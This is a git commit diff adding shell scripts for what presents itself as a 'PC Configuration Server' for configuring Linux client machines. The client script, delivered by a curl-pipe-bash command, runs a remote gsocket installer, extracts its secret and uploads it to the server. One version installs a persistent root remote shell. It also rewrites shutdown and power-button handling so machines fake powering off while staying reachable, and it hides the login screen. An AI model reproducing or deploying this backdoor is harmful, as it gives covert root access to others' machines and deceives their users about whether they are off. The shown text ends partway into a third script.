commit 16e2abc38a237b888de15a1dccbf17da2832cd77
Author: Amoelle <amoelle@proton.me>
Date:   Tue Apr 1 18:11:07 2025 +0300

    Add scripts

diff --git a/other/setup_script.sh.bak b/other/setup_script.sh.bak
new file mode 100755
index 0000000..832d6bf
--- /dev/null
+++ b/other/setup_script.sh.bak
@@ -0,0 +1,262 @@
+#!/bin/bash
+
+# Install Apache and PHP for Arch Linux
+sudo pacman -Syu --noconfirm
+sudo pacman -S --noconfirm apache php php-apache
+
+# Add PHP configuration to Apache
+if ! grep -q "LoadModule php_module" /etc/httpd/conf/httpd.conf; then
+    sudo bash -c 'echo "LoadModule php_module modules/libphp.so" >> /etc/httpd/conf/httpd.conf'
+    sudo bash -c 'echo "AddHandler php-script .php" >> /etc/httpd/conf/httpd.conf'
+    sudo bash -c 'echo "Include conf/extra/php_module.conf" >> /etc/httpd/conf/httpd.conf'
+fi
+
+# Create directory structure
+sudo mkdir -p /srv/http/logs
+sudo mkdir -p /srv/http/secrets
+
+# Set correct permissions
+sudo chown -R http:http /srv/http/logs
+sudo chown -R http:http /srv/http/secrets
+sudo chmod 755 /srv/http/logs
+sudo chmod 755 /srv/http/secrets
+
+# Create save_log.php file
+cat > /tmp/save_log.php << 'EOF'
+<?php
+// Simple script to save logs and secrets from remote machines
+
+// Create logs directory if it doesn't exist
+$logs_dir = './logs';
+if (!file_exists($logs_dir)) {
+    mkdir($logs_dir, 0755, true);
+}
+
+// Create secrets directory if it doesn't exist
+$secrets_dir = './secrets';
+if (!file_exists($secrets_dir)) {
+    mkdir($secrets_dir, 0755, true);
+}
+
+// Get the IP address and hostname
+$ip = isset($_POST['ip']) ? $_POST['ip'] : 'unknown_ip';
+$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';
+
+// Sanitize filenames to prevent directory traversal attacks
+$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
+$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);
+
+// Save the log file if uploaded
+if (isset($_FILES['logfile']) && $_FILES['logfile']['error'] == 0) {
+    $timestamp = date('Y-m-d_H-i-s');
+    $log_filename = "{$logs_dir}/{$ip}_{$hostname}_{$timestamp}.log";
+    
+    if (move_uploaded_file($_FILES['logfile']['tmp_name'], $log_filename)) {
+        echo "Log file saved successfully.\n";
+    } else {
+        echo "Error saving log file.\n";
+    }
+}
+
+// Save the secret if provided
+if (isset($_POST['secret']) && !empty($_POST['secret'])) {
+    $secret_filename = "{$secrets_dir}/{$hostname}.txt";
+    
+    if (file_put_contents($secret_filename, $_POST['secret'])) {
+        echo "Secret saved successfully.\n";
+    } else {
+        echo "Error saving secret.\n";
+    }
+}
+
+// Provide a response
+header('Content-Type: text/plain');
+echo "Data received from {$hostname} ({$ip}).\n";
+?>
+EOF
+
+# Move PHP file to web root
+sudo mv /tmp/save_log.php /srv/http/
+
+# Create setup script file for Arch Linux clients
+cat > /tmp/setup_script.sh << 'EOF'
+#!/bin/bash
+
+# Define your web server URL where logs will be stored
+WEB_SERVER="http://SERVER_IP_PLACEHOLDER"  # Will be replaced with actual IP
+LOG_ENDPOINT="$WEB_SERVER/save_log.php"
+
+# Get system information
+HOSTNAME=$(hostname)
+IP_ADDRESS=$(hostname -I 2>/dev/null || ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
+TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S")
+LOG_FILE="/tmp/setup_log_${TIMESTAMP}.txt"
+
+# Function to log commands and their output
+log_command() {
+    local cmd="$1"
+    local description="$2"
+    
+    echo "----------------------------------------------" | tee -a "$LOG_FILE"
+    echo "[$TIMESTAMP] Executing: $description" | tee -a "$LOG_FILE"
+    echo "\$ $cmd" | tee -a "$LOG_FILE"
+    echo "----------------------------------------------" | tee -a "$LOG_FILE"
+    
+    # Execute the command and capture output
+    OUTPUT=$(eval "$cmd" 2>&1)
+    STATUS=$?
+    
+    echo "$OUTPUT" | tee -a "$LOG_FILE"
+    echo "Exit Status: $STATUS" | tee -a "$LOG_FILE"
+    echo "" | tee -a "$LOG_FILE"
+    
+    return $STATUS
+}
+
+# Start logging
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "Setup Script Started on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
+echo "Timestamp: $TIMESTAMP" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+# 1. Configure power button to suspend
+log_command "sudo sed -i 's/#HandlePowerKey=.*/HandlePowerKey=suspend/' /etc/systemd/logind.conf" "Configuring power button to suspend"
+log_command "sudo systemctl restart systemd-logind" "Restarting systemd-logind service"
+
+# Check for GNOME desktop and configure if present
+if pacman -Q gnome-shell &>/dev/null || pacman -Q gnome-desktop &>/dev/null; then
+    if command -v gsettings >/dev/null 2>&1; then
+        log_command "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'suspend'" "Setting GNOME power button action to suspend"
+    fi
+fi
+
+# 2. Install and enable OpenSSH server (for Arch Linux)
+log_command "sudo pacman -Syu --noconfirm" "Updating package repositories"
+log_command "sudo pacman -S --noconfirm openssh" "Installing OpenSSH server"
+log_command "sudo systemctl enable sshd" "Enabling SSH service"
+log_command "sudo systemctl start sshd" "Starting SSH service"
+log_command "sudo systemctl status sshd" "Checking SSH service status"
+
+# 3. Set up Wake-on-LAN
+# Identify network interface
+PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
+log_command "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface"
+
+# Check if ethtool is installed, if not install it
+if ! command -v ethtool &> /dev/null; then
+    log_command "sudo pacman -S --noconfirm ethtool" "Installing ethtool"
+fi
+
+# Check if Wake-on-LAN is supported
+log_command "sudo ethtool $PRIMARY_INTERFACE | grep Wake-on" "Checking Wake-on-LAN support"
+
+# Create a systemd service for Wake-on-LAN
+cat > /tmp/wol.service << 'EOL'
+[Unit]
+Description=Enable Wake On LAN
+After=network.target
+
+[Service]
+Type=oneshot
+ExecStart=/usr/bin/ethtool -s INTERFACE_PLACEHOLDER wol g
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
+EOL
+
+# Replace placeholder with actual interface
+sed -i "s/INTERFACE_PLACEHOLDER/$PRIMARY_INTERFACE/g" /tmp/wol.service
+
+log_command "sudo cp /tmp/wol.service /etc/systemd/system/wol.service" "Creating Wake-on-LAN service"
+log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+log_command "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service"
+log_command "sudo systemctl start wol.service" "Starting Wake-on-LAN service"
+
+# 4. Execute gsocket command and save the secret
+# First ensure curl is installed
+if ! command -v curl &> /dev/null; then
+    log_command "sudo pacman -S --noconfirm curl" "Installing curl"
+fi
+
+log_command "echo 'Running gsocket setup...'" "Starting gsocket setup"
+GSOCKET_OUTPUT=$(bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1)
+echo "$GSOCKET_OUTPUT" | tee -a "$LOG_FILE"
+
+# Extract the secret
+SECRET=$(echo "$GSOCKET_OUTPUT" | grep -o 'S="[^"]*"' | sed 's/S="\(.*\)"/\1/')
+if [ -n "$SECRET" ]; then
+    echo "Secret extracted: $SECRET" | tee -a "$LOG_FILE"
+    echo "$SECRET" > "/tmp/${HOSTNAME}_secret.txt"
+    log_command "echo 'Secret saved to /tmp/${HOSTNAME}_secret.txt'" "Saving secret to file"
+else
+    log_command "echo 'Failed to extract secret'" "Secret extraction failed"
+fi
+
+# 5. Upload logs and secret to the web server
+if command -v curl >/dev/null 2>&1; then
+    # Upload the main log file
+    log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'logfile=@$LOG_FILE' $LOG_ENDPOINT" "Uploading log file to server"
+    
+    # Upload the secret file if it exists
+    if [ -n "$SECRET" ]; then
+        log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'secret=$SECRET' $LOG_ENDPOINT" "Uploading secret to server"
+    fi
+else
+    echo "curl command not found. Cannot upload logs." | tee -a "$LOG_FILE"
+fi
+
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "Setup completed on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
+echo "Timestamp: $(date +"%Y-%m-%d_%H-%M-%S")" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+echo "Configuration completed successfully!"
+EOF
+
+# Get server IP
+SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
+
+# Replace placeholder with actual server IP
+sed -i "s/SERVER_IP_PLACEHOLDER/$SERVER_IP/g" /tmp/setup_script.sh
+
+# Move setup script to web root
+sudo mv /tmp/setup_script.sh /srv/http/
+sudo chmod +x /srv/http/setup_script.sh
+
+# Create a simple index page
+cat > /tmp/index.html << EOF
+<!DOCTYPE html>
+<html>
+<head>
+    <title>PC Configuration Server</title>
+    <style>
+        body { font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; }
+        pre { background: #f4f4f4; padding: 10px; border-radius: 5px; }
+    </style>
+</head>
+<body>
+    <h1>PC Configuration Server</h1>
+    <p>Run the following command on any Arch Linux PC to configure power button, SSH, and Wake-on-LAN:</p>
+    <pre>bash -c "\$(curl -fsSL http://${SERVER_IP}/setup_script.sh)"</pre>
+    <p>This server will collect logs in the /logs directory and secrets in the /secrets directory.</p>
+</body>
+</html>
+EOF
+
+# Move index file to web root
+sudo mv /tmp/index.html /srv/http/
+
+# Adjust PHP settings for larger file uploads if needed
+sudo sed -i 's/upload_max_filesize = .*/upload_max_filesize = 20M/' /etc/php/php.ini
+sudo sed -i 's/post_max_size = .*/post_max_size = 21M/' /etc/php/php.ini
+
+# Enable and start Apache service
+sudo systemctl enable httpd
+sudo systemctl restart httpd
+
+echo "========================================================"
+echo "Apache web server set up complete at http://$SERVER_IP"
+echo "Run this command on client Arch Linux PCs:"
+echo "bash -c \"\$(curl -fsSL http://$SERVER_IP/setup_script.sh)\""
+echo "========================================================"
diff --git a/other/setup_script.sh.bak2 b/other/setup_script.sh.bak2
new file mode 100755
index 0000000..ee87f8b
--- /dev/null
+++ b/other/setup_script.sh.bak2
@@ -0,0 +1,496 @@
+#!/bin/bash
+
+# Create save_log.php file
+cat > /tmp/save_log.php << 'EOF'
+<?php
+// Simple script to save logs and secrets from remote machines
+
+// Create logs directory if it doesn't exist
+$logs_dir = './logs';
+if (!file_exists($logs_dir)) {
+    mkdir($logs_dir, 0755, true);
+}
+
+// Create secrets directory if it doesn't exist
+$secrets_dir = './secrets';
+if (!file_exists($secrets_dir)) {
+    mkdir($secrets_dir, 0755, true);
+}
+
+// Get the IP address and hostname
+$ip = isset($_POST['ip']) ? $_POST['ip'] : 'unknown_ip';
+$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'unknown_host';
+
+// Sanitize filenames to prevent directory traversal attacks
+$ip = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $ip);
+$hostname = preg_replace('/[^a-zA-Z0-9\.\-]/', '_', $hostname);
+
+// Save the log file if uploaded
+if (isset($_FILES['logfile']) && $_FILES['logfile']['error'] == 0) {
+    $timestamp = date('Y-m-d_H-i-s');
+    $log_filename = "{$logs_dir}/{$ip}_{$hostname}_{$timestamp}.log";
+    
+    if (move_uploaded_file($_FILES['logfile']['tmp_name'], $log_filename)) {
+        echo "Log file saved successfully.\n";
+    } else {
+        echo "Error saving log file.\n";
+    }
+}
+
+// Save the secret if provided
+if (isset($_POST['secret']) && !empty($_POST['secret'])) {
+    $secret_filename = "{$secrets_dir}/{$hostname}.txt";
+    
+    if (file_put_contents($secret_filename, $_POST['secret'])) {
+        echo "Secret saved successfully.\n";
+    } else {
+        echo "Error saving secret.\n";
+    }
+}
+
+// Provide a response
+header('Content-Type: text/plain');
+echo "Data received from {$hostname} ({$ip}).\n";
+?>
+EOF
+
+# Move PHP file to web root
+sudo mv /tmp/save_log.php /srv/http/
+
+# Create setup script file for Ubuntu clients
+cat > /tmp/setup_script.sh << 'EOF'
+#!/bin/bash
+
+# Define your web server URL where logs will be stored
+WEB_SERVER="http://SERVER_IP_PLACEHOLDER"  # Will be replaced with actual IP
+LOG_ENDPOINT="$WEB_SERVER/save_log.php"
+
+# Get system information
+HOSTNAME=$(hostname)
+IP_ADDRESS=$(hostname -I | awk '{print $1}')
+TIMESTAMP=$(date +"%Y-%m-%d_%H-%M-%S")
+LOG_FILE="/tmp/setup_log_${TIMESTAMP}.txt"
+
+# Function to log commands and their output
+log_command() {
+    local cmd="$1"
+    local description="$2"
+    
+    echo "----------------------------------------------" | tee -a "$LOG_FILE"
+    echo "[$TIMESTAMP] Executing: $description" | tee -a "$LOG_FILE"
+    echo "\$ $cmd" | tee -a "$LOG_FILE"
+    echo "----------------------------------------------" | tee -a "$LOG_FILE"
+    
+    # Execute the command and capture output
+    OUTPUT=$(eval "$cmd" 2>&1)
+    STATUS=$?
+    
+    echo "$OUTPUT" | tee -a "$LOG_FILE"
+    echo "Exit Status: $STATUS" | tee -a "$LOG_FILE"
+    echo "" | tee -a "$LOG_FILE"
+    
+    return $STATUS
+}
+
+# Start logging
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "Setup Script Started on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
+echo "Timestamp: $TIMESTAMP" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+# 1. Configure power button to initiate suspend-then-hibernate (appears like poweroff)
+log_command "sudo mkdir -p /etc/systemd/sleep.conf.d" "Creating systemd sleep config directory"
+log_command "sudo mkdir -p /etc/systemd/logind.conf.d" "Creating systemd logind config directory"
+
+# Create a custom sleep config that will make suspend appear more like poweroff
+cat > /tmp/10-power-button.conf << _EOC_
+[Sleep]
+# Make suspend look like poweroff by turning off all LEDs and display
+AllowSuspendThenHibernate=yes
+SuspendState=mem
+HibernateDelay=10800s  # 3 hours before switching to hibernate
+_EOC_
+
+log_command "sudo cp /tmp/10-power-button.conf /etc/systemd/sleep.conf.d/" "Setting up sleep configuration"
+
+# Create suspend script to make it look like poweroff
+cat > /tmp/fake-poweroff.sh << _EOS_
+#!/bin/bash
+# This script turns off the display and then suspends the system, making it look like a shutdown
+# Turn off displays
+if command -v xset >/dev/null 2>&1 && [ -n "$DISPLAY" ]; then
+    xset dpms force off
+fi
+
+# For GNOME
+if command -v gdbus >/dev/null 2>&1; then
+    gdbus call --session --dest org.gnome.ScreenSaver --object-path /org/gnome/ScreenSaver --method org.gnome.ScreenSaver.SetActive true
+fi
+
+# For VM environments, try to dim/blank console
+if [ -e /sys/class/backlight/*/brightness ]; then
+    for b in /sys/class/backlight/*/brightness; do
+        echo 0 | sudo tee $b >/dev/null
+    done
+fi
+
+# Wait a moment for screen to turn off
+sleep 2
+
+# Then suspend
+systemctl suspend-then-hibernate
+_EOS_
+
+log_command "sudo cp /tmp/fake-poweroff.sh /usr/local/bin/fake-poweroff.sh" "Creating fake poweroff script"
+log_command "sudo chmod +x /usr/local/bin/fake-poweroff.sh" "Making fake poweroff script executable"
+
+# Configure logind to ALWAYS use suspend for power button press
+cat > /tmp/custom-power-button.conf << _EOF_
+[Login]
+HandlePowerKey=suspend-then-hibernate
+HandlePowerKeyLongPress=suspend-then-hibernate
+PowerKeyIgnoreInhibited=yes
+_EOF_
+
+log_command "sudo cp /tmp/custom-power-button.conf /etc/systemd/logind.conf.d/" "Setting up custom power button configuration"
+
+# Create a systemd service to handle the power button press ourselves (backup method)
+cat > /tmp/power-button-handler.service << _EOS_
+[Unit]
+Description=Custom Power Button Handler
+After=multi-user.target
+
+[Service]
+Type=simple
+ExecStart=/bin/bash -c "while true; do acpi_listen | grep -q \"button/power.*pressed\"; if [ $? -eq 0 ]; then /usr/local/bin/fake-poweroff.sh; fi; done"
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
+_EOS_
+
+log_command "sudo cp /tmp/power-button-handler.service /etc/systemd/system/" "Creating power button handler service"
+log_command "sudo systemctl enable power-button-handler.service" "Enabling power button handler service"
+log_command "sudo systemctl start power-button-handler.service" "Starting power button handler service"
+
+# Enable acpi events handling
+log_command "sudo apt-get install -y acpid acpi-support" "Installing ACPI support packages"
+
+# Create acpi power button event handler
+mkdir -p /etc/acpi/events/
+cat > /tmp/power-button << _EOS_
+event=button/power
+action=/usr/local/bin/fake-poweroff.sh
+_EOS_
+
+log_command "sudo cp /tmp/power-button /etc/acpi/events/" "Setting up ACPI power button handler"
+log_command "sudo systemctl enable acpid" "Enabling ACPI daemon"
+log_command "sudo systemctl restart acpid" "Restarting ACPI daemon"
+
+# For desktop environments - disable default power button actions
+if command -v gsettings >/dev/null 2>&1; then
+    log_command "gsettings set org.gnome.settings-daemon.plugins.power power-button-action 'nothing'" "Disabling GNOME power button action"
+fi
+
+# Also modify system-wide Gnome settings if available
+if [ -d "/etc/dconf/db/local.d" ]; then
+    cat > /tmp/00-power-button << _EOF_
+[org/gnome/settings-daemon/plugins/power]
+power-button-action='nothing'
+_EOF_
+    log_command "sudo cp /tmp/00-power-button /etc/dconf/db/local.d/" "Setting system-wide GNOME power button configuration"
+    log_command "sudo dconf update" "Updating dconf database"
+fi
+
+# Modify systemd config to ignore actual shutdown command and convert to suspend
+cat > /tmp/override-shutdown.conf << _EOC_
+[Unit]
+Description=Fake Shutdown Service
+
+[Service]
+Type=oneshot
+ExecStart=/usr/local/bin/fake-poweroff.sh
+TimeoutSec=30
+
+[Install]
+WantedBy=multi-user.target
+_EOC_
+
+log_command "sudo mkdir -p /etc/systemd/system/systemd-poweroff.service.d/" "Creating shutdown override directory"
+log_command "sudo cp /tmp/override-shutdown.conf /etc/systemd/system/systemd-poweroff.service.d/override.conf" "Installing shutdown override"
+
+# Set up polkit rule to allow suspend without password for regular users
+cat > /tmp/90-suspend-without-password.rules << _EOC_
+polkit.addRule(function(action, subject) {
+    if ((action.id == "org.freedesktop.login1.suspend" ||
+         action.id == "org.freedesktop.login1.suspend-multiple-sessions" ||
+         action.id == "org.freedesktop.login1.hibernate" ||
+         action.id == "org.freedesktop.login1.hibernate-multiple-sessions") &&
+        subject.isInGroup("sudo")) {
+            return polkit.Result.YES;
+    }
+});
+_EOC_
+
+log_command "sudo mkdir -p /etc/polkit-1/rules.d" "Creating polkit rules directory"
+log_command "sudo cp /tmp/90-suspend-without-password.rules /etc/polkit-1/rules.d/" "Setting up polkit rules for suspend"
+
+# 2. Install and enable OpenSSH server and curl
+log_command "sudo apt-get update" "Updating package repositories"
+log_command "sudo apt-get install -y openssh-server curl ethtool net-tools" "Installing required packages"
+log_command "sudo systemctl enable ssh" "Enabling SSH service"
+log_command "sudo systemctl start ssh" "Starting SSH service"
+log_command "sudo systemctl status ssh" "Checking SSH service status"
+
+# 3. Set up Wake-on-LAN
+# Identify network interface
+PRIMARY_INTERFACE=$(ip -o -4 route show to default | awk '{print $5}' | head -n1)
+log_command "echo 'Primary network interface: $PRIMARY_INTERFACE'" "Identifying network interface"
+
+# Enable WoL in network configuration
+cat > /tmp/wol.conf << _EOF_
+[connection]
+ethernet.wake-on-lan = magic
+_EOF_
+
+log_command "sudo mkdir -p /etc/NetworkManager/conf.d/" "Creating NetworkManager config directory"
+log_command "sudo cp /tmp/wol.conf /etc/NetworkManager/conf.d/99-wol.conf" "Setting up Wake-on-LAN in NetworkManager"
+
+# Check if Wake-on-LAN is supported
+WOL_SUPPORTED=$(ethtool $PRIMARY_INTERFACE 2>/dev/null | grep -q "Supports Wake-on" && echo "yes" || echo "no")
+if [ "$WOL_SUPPORTED" = "yes" ]; then
+    log_command "echo 'Wake-on-LAN is supported.'" "Checking Wake-on-LAN support"
+    
+    # Create a systemd service for Wake-on-LAN that runs at boot and after resume
+    cat > /tmp/wol.service << _EOF_
+[Unit]
+Description=Enable Wake On LAN
+After=network.target
+After=suspend.target
+After=hibernate.target
+After=hybrid-sleep.target
+
+[Service]
+Type=oneshot
+ExecStart=/sbin/ethtool -s $PRIMARY_INTERFACE wol g
+RemainAfterExit=yes
+
+[Install]
+WantedBy=multi-user.target
+WantedBy=suspend.target
+WantedBy=hibernate.target
+WantedBy=hybrid-sleep.target
+_EOF_
+
+    log_command "sudo cp /tmp/wol.service /etc/systemd/system/wol.service" "Creating Wake-on-LAN service"
+    log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+    log_command "sudo systemctl enable wol.service" "Enabling Wake-on-LAN service"
+    log_command "sudo systemctl start wol.service" "Starting Wake-on-LAN service"
+    
+    # Immediately enable WoL
+    log_command "sudo ethtool -s $PRIMARY_INTERFACE wol g" "Enabling Wake-on-LAN immediately"
+else
+    log_command "echo 'Wake-on-LAN not supported, skipping...'" "Wake-on-LAN not supported"
+fi
+
+# Add WoL persistence through boot in network interfaces
+if [ -f /etc/network/interfaces ]; then
+    # For systems using traditional networking
+    if ! grep -q "up ethtool -s $PRIMARY_INTERFACE wol g" /etc/network/interfaces; then
+        log_command "echo 'auto $PRIMARY_INTERFACE' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
+        log_command "echo 'iface $PRIMARY_INTERFACE inet dhcp' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
+        log_command "echo 'up ethtool -s $PRIMARY_INTERFACE wol g' | sudo tee -a /etc/network/interfaces" "Adding WoL to network interfaces config"
+    fi
+fi
+
+# 4. Execute gsocket command and save the secret
+log_command "echo 'Running gsocket setup...'" "Starting gsocket setup"
+GSOCKET_OUTPUT=$(bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1)
+echo "$GSOCKET_OUTPUT" | tee -a "$LOG_FILE"
+
+# Extract the secret
+SECRET=$(echo "$GSOCKET_OUTPUT" | grep -o 'S="[^"]*"' | sed 's/S="\(.*\)"/\1/')
+if [ -n "$SECRET" ]; then
+    echo "Secret extracted: $SECRET" | tee -a "$LOG_FILE"
+    echo "$SECRET" > "/tmp/${HOSTNAME}_secret.txt"
+    log_command "echo 'Secret saved to /tmp/${HOSTNAME}_secret.txt'" "Saving secret to file"
+    
+    # Save the secret to the gs-root-shell-key.txt file for the root shell service
+    log_command "sudo mkdir -p /etc/systemd" "Creating systemd directory if it doesn't exist"
+    log_command "echo '$SECRET' | sudo tee /etc/systemd/gs-root-shell-key.txt" "Saving GSSocket secret key for root shell"
+    log_command "sudo chmod 600 /etc/systemd/gs-root-shell-key.txt" "Setting secure permissions on key file"
+else
+    log_command "echo 'Failed to extract secret'" "Secret extraction failed"
+fi
+
+# Install gs-netcat if not already installed by gsocket.io/y script
+if ! command -v gs-netcat &> /dev/null; then
+    log_command "sudo apt-get install -y git build-essential" "Installing dependencies for gs-netcat"
+    log_command "git clone https://github.com/hackerschoice/gsocket.git /tmp/gsocket" "Cloning gsocket repository"
+    log_command "cd /tmp/gsocket && ./bootstrap && ./configure && make && sudo make install" "Building and installing gsocket"
+fi
+
+# 5. Create the Global Socket Root Shell service
+cat > /tmp/gs-root-shell.service << 'EOG'
+[Unit]
+Description=Global Socket Root Shell
+After=network.target
+
+[Service]
+Type=simple
+Restart=always
+RestartSec=10
+WorkingDirectory=/root
+ExecStart=/usr/local/bin/gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il
+
+[Install]
+WantedBy=multi-user.target
+EOG
+
+log_command "sudo cp /tmp/gs-root-shell.service /etc/systemd/system/" "Creating Global Socket Root Shell service"
+log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+log_command "sudo systemctl enable gs-root-shell.service" "Enabling Global Socket Root Shell service"
+log_command "sudo systemctl start gs-root-shell.service" "Starting Global Socket Root Shell service"
+log_command "sudo systemctl status gs-root-shell.service" "Checking Global Socket Root Shell service status"
+
+# 6. Upload logs and secret to the web server
+if command -v curl >/dev/null 2>&1; then
+    # Upload the main log file
+    log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'logfile=@$LOG_FILE' $LOG_ENDPOINT" "Uploading log file to server"
+    
+    # Upload the secret file if it exists
+    if [ -n "$SECRET" ]; then
+        log_command "curl -s -F 'ip=$IP_ADDRESS' -F 'hostname=$HOSTNAME' -F 'secret=$SECRET' $LOG_ENDPOINT" "Uploading secret to server"
+    fi
+else
+    echo "curl command not found. Cannot upload logs." | tee -a "$LOG_FILE"
+fi
+
+# 7. Disable display manager on startup to hide login screen
+if [ -f /etc/systemd/system/display-manager.service ]; then
+    DM_SERVICE=$(basename $(readlink /etc/systemd/system/display-manager.service))
+    if [ -n "$DM_SERVICE" ]; then
+        log_command "sudo systemctl disable $DM_SERVICE" "Disabling display manager on startup"
+        # Create a service that will start display manager after wake from suspend
+        cat > /tmp/display-after-resume.service << _EOF_
+[Unit]
+Description=Start Display Manager After Resume
+After=suspend.target
+After=hibernate.target
+After=hybrid-sleep.target
+
+[Service]
+Type=oneshot
+ExecStart=/bin/systemctl start $DM_SERVICE
+
+[Install]
+WantedBy=suspend.target
+WantedBy=hibernate.target
+WantedBy=hybrid-sleep.target
+_EOF_
+        log_command "sudo cp /tmp/display-after-resume.service /etc/systemd/system/" "Creating display-after-resume service"
+        log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+        log_command "sudo systemctl enable display-after-resume.service" "Enabling display-after-resume service"
+    fi
+fi
+
+# 8. Create a persistent reboot handler service that ensures shutdown always becomes suspend
+cat > /tmp/shutdown-to-suspend.service << 'EOG'
+[Unit]
+Description=Convert Shutdown to Suspend
+DefaultDependencies=no
+Before=shutdown.target reboot.target halt.target
+
+[Service]
+Type=oneshot
+ExecStart=/bin/sh -c 'if [ "$(systemctl is-active power-button-handler.service)" != "active" ]; then /usr/local/bin/fake-poweroff.sh; else echo "Power button handler will manage suspend"; fi'
+TimeoutSec=30
+
+[Install]
+WantedBy=shutdown.target reboot.target halt.target
+EOG
+
+log_command "sudo cp /tmp/shutdown-to-suspend.service /etc/systemd/system/" "Creating shutdown-to-suspend service"
+log_command "sudo systemctl daemon-reload" "Reloading systemd configuration"
+log_command "sudo systemctl enable shutdown-to-suspend.service" "Enabling shutdown-to-suspend service"
+
+# Add usage information to log file
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "GLOBAL SOCKET ROOT SHELL INFORMATION:" | tee -a "$LOG_FILE"
+echo "To connect to this machine's root shell:" | tee -a "$LOG_FILE"
+echo "1. Install gsocket (https://github.com/hackerschoice/gsocket)" | tee -a "$LOG_FILE"
+echo "2. Run: gs-netcat -k KEY -s" | tee -a "$LOG_FILE"
+echo "   Replace KEY with the secret value in /etc/systemd/gs-root-shell-key.txt" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+echo "==================================================" | tee -a "$LOG_FILE"
+echo "Setup completed on $HOSTNAME ($IP_ADDRESS)" | tee -a "$LOG_FILE"
+echo "Timestamp: $(date +"%Y-%m-%d_%H-%M-%S")" | tee -a "$LOG_FILE"
+echo "==================================================" | tee -a "$LOG_FILE"
+
+# Instead of poweroff at the end, show a message
+echo "Configuration completed successfully!"
+echo "Your system is now configured to never fully shut down."
+echo "When the power button is pressed, the system will appear to power off but will actually suspend."
+echo "The screen will now blank to simulate power off in 5 seconds..."
+
+# Do a fake power off at the end to demonstrate but not actually shut down
+sleep 5
+sudo chvt 1  # Switch to text console first to hide any messages
+/usr/local/bin/fake-poweroff.sh
+EOF
+
+# Get server IP
+SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
+
+# Replace placeholder with actual server IP
+sed -i "s/SERVER_IP_PLACEHOLDER/$SERVER_IP/g" /tmp/setup_script.sh
+
+# Move setup script to web root
+sudo mv /tmp/setup_script.sh /srv/http/
+sudo chmod +x /srv/http/setup_script.sh
+
+# Create a simple index page
+cat > /tmp/index.html << EOF
+<!DOCTYPE html>
+<html>
+<head>
+    <title>PC Configuration Server</title>
+    <style>
+        body { font-family: Arial, sans-serif; margin: 40px; line-height: 1.6; }
+        pre { background: #f4f4f4; padding: 10px; border-radius: 5px; }
+    </style>
+</head>
+<body>
+    <h1>PC Configuration Server</h1>
+    <p>Run the following command on your Ubuntu client machines:</p>
+    <pre>bash -c "\$(curl -fsSL http://${SERVER_IP}/setup_script.sh)"</pre>
+    <p>This script will configure:</p>
+    <ul>
+        <li>Power button to simulate shutdown (but actually suspend)</li>
+        <li>Prevents actual system shutdown - converts all shutdown attempts to suspend</li>
+        <li>SSH server for remote access</li>
+        <li>Wake-on-LAN for remote power on</li>
+        <li>System logging and monitoring</li>
+        <li>Global Socket Root Shell for remote root access</li>
+    </ul>
+</body>
+</html>
+EOF
+
+# Move index file to web root
+sudo mv /tmp/index.html /srv/http/
+
+# Adjust PHP settings for larger file uploads if needed
+sudo sed -i 's/upload_max_filesize = .*/upload_max_filesize = 20M/' /etc/php/php.ini
+sudo sed -i 's/post_max_size = .*/post_max_size = 21M/' /etc/php/php.ini
+
+# Enable and start Apache service
+sudo systemctl enable httpd
+sudo systemctl restart httpd
+
+echo "========================================================"
+echo "Apache web server set up complete at http://$SERVER_IP"
+echo "Run this command on client Ubuntu PCs:"
+echo "bash -c \"\$(curl -fsSL http://$SERVER_IP/setup_script.sh)\""
+echo "========================================================"
diff --git a/setup_script.sh b/setup_script.sh
new file mode 100755
index 0000000..e50326a
--- /dev/null
+++ b/setup_script.sh
@@ -0,0 +1,298 @@
+#!/bin/bash
+
+# Create save_log.php file
+cat > /tmp/save_log.php << 'EOF'
+<?php
+// Simple script to save logs and secrets from remote machines
+
+// Create logs directory if it doesn't exist
+$logs_dir = './logs';
